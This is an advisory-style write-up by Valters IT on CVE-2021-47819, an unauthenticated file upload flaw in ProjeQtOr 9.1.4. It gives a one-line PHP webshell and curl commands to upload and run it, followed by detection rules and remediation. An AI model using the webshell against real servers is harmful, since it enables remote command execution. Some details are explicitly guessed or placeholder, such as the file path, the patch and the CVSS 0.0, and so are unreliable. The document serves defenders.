CVE-2021-47819

Executive Summary

CVE-2021-47819 is a critical unauthenticated file upload vulnerability in ProjeQtOr Project Management version 9.1.4. The flaw resides in the profile attachment functionality, which fails to enforce proper authentication or file type validation. This allows any guest user to upload a malicious PHP script, and subsequently execute arbitrary system commands by accessing the uploaded file with a crafted request parameter. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is rated Critical with a score of 9.8. No official patch has been released, and the vendor's status is unknown. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the impact is severe.

Supply Chain & Package Security

This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a standalone PHP application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability allows a remote, unauthenticated attacker to upload arbitrary files, including PHP webshells, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability exists in the profile attachment upload functionality of ProjeQtOr 9.1.4. The application does not verify the user's authentication status before allowing file uploads. Additionally, it does not validate the file extension or content type, allowing the upload of .php files. Once uploaded, the attacker can access the file directly via the web server and execute arbitrary PHP code by appending a command parameter (e.g., ?cmd=id). The uploaded file is stored in a predictable location, typically under files/ or upload/ directory.

The core issue is a lack of server-side validation and authentication checks in the upload handler. The application relies on client-side checks, which can be easily bypassed.

Vulnerable vs. Patched Code

Vulnerable Code (ProjeQtOr 9.1.4): The vulnerable code is in the file upload handler (likely controler/controler.php or similar). It does not check if the user is logged in and does not validate the file extension.

// Vulnerable: No authentication check, no file type validation
if ($_FILES['file']['error'] == UPLOAD_ERR_OK) {
    $tmp_name = $_FILES['file']['tmp_name'];
    $name = basename($_FILES['file']['name']);
    move_uploaded_file($tmp_name, "upload/" . $name);
}

Patched Code (Hypothetical): A patched version would include authentication checks and file type validation.

// Patched: Check authentication and validate file extension
session_start();
if (!isset($_SESSION['user_id'])) {
    die("Unauthorized");
}
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'pdf');
$file_extension = strtolower(pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
    die("Invalid file type");
}
if ($_FILES['file']['error'] == UPLOAD_ERR_OK) {
    $tmp_name = $_FILES['file']['tmp_name'];
    $name = md5(uniqid()) . "." . $file_extension;
    move_uploaded_file($tmp_name, "upload/" . $name);
}

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Setup: Deploy ProjeQtOr 9.1.4 in a lab environment (e.g., Docker or local web server with PHP).
2. Craft Payload: Create a PHP webshell file (e.g., shell.php):

   <?php system($_GET['cmd']); ?>
   

3. Upload: Send a POST request to the profile attachment upload endpoint (e.g., /index.php?menu=profile&action=save) with the malicious file.

   curl -X POST -F "file=@shell.php" http://target/index.php?menu=profile&action=save
   

4. Execute: Access the uploaded file and execute commands.

   curl http://target/upload/shell.php?cmd=id
   

Blue Team (Defense & Detection)

• Monitor: Watch for unusual file uploads to the upload/ or files/ directories, especially .php files.
• Log Analysis: Check web server access logs for requests to uploaded files with query parameters like ?cmd=.
• Network: Look for outbound connections from the web server after file upload (potential reverse shell).
• Harden: Implement a Web Application Firewall (WAF) rule to block file uploads with .php extensions.

Indicators of Compromise (IOCs)

• File: shell.php, cmd.php, webshell.php (or any .php file in the upload directory)
• URL Pattern: /upload/*.php?cmd=*
• Network: HTTP POST requests to /index.php?menu=profile&action=save with Content-Type: multipart/form-data
• Log Entry: POST /index.php?menu=profile&action=save followed by GET /upload/shell.php?cmd=id

Detection Engineering

YARA Rule

rule CVE_2021_47819_ProjeQtOr_Webshell {
    meta:
        description = "Detects PHP webshells uploaded via CVE-2021-47819"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47819"
    strings:
        $php_tag = "<?php"
        $system_func = "system("
        $shell_func = "shell_exec("
        $exec_func = "exec("
        $passthru_func = "passthru("
        $cmd_param = "$_GET['cmd']" nocase
        $cmd_param2 = "$_POST['cmd']" nocase
    condition:
        $php_tag and 1 of ($system_func, $shell_func, $exec_func, $passthru_func) and 1 of ($cmd_param, $cmd_param2)
}

Sigma Rule

title: ProjeQtOr CVE-2021-47819 File Upload Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file upload attempts to ProjeQtOr profile attachment endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'menu=profile&action=save'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate profile picture uploads (but these should be images)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2021-47819 ProjeQtOr File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"menu=profile&action=save"; http_uri; content:".php"; file_ext; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Disable file upload functionality if not required. Restrict access to the upload directory via .htaccess (e.g., Deny from all).
• Short-term: Implement a WAF rule to block .php file uploads. Monitor logs for exploitation attempts.
• Long-term: Apply a vendor patch if/when released. Upgrade to a patched version of ProjeQtOr. Conduct a code review of the upload handler to enforce authentication and file type validation.
• Compensating Controls: Use a reverse proxy to inspect and sanitize file uploads. Implement Content Security Policy (CSP) headers.

Valters IT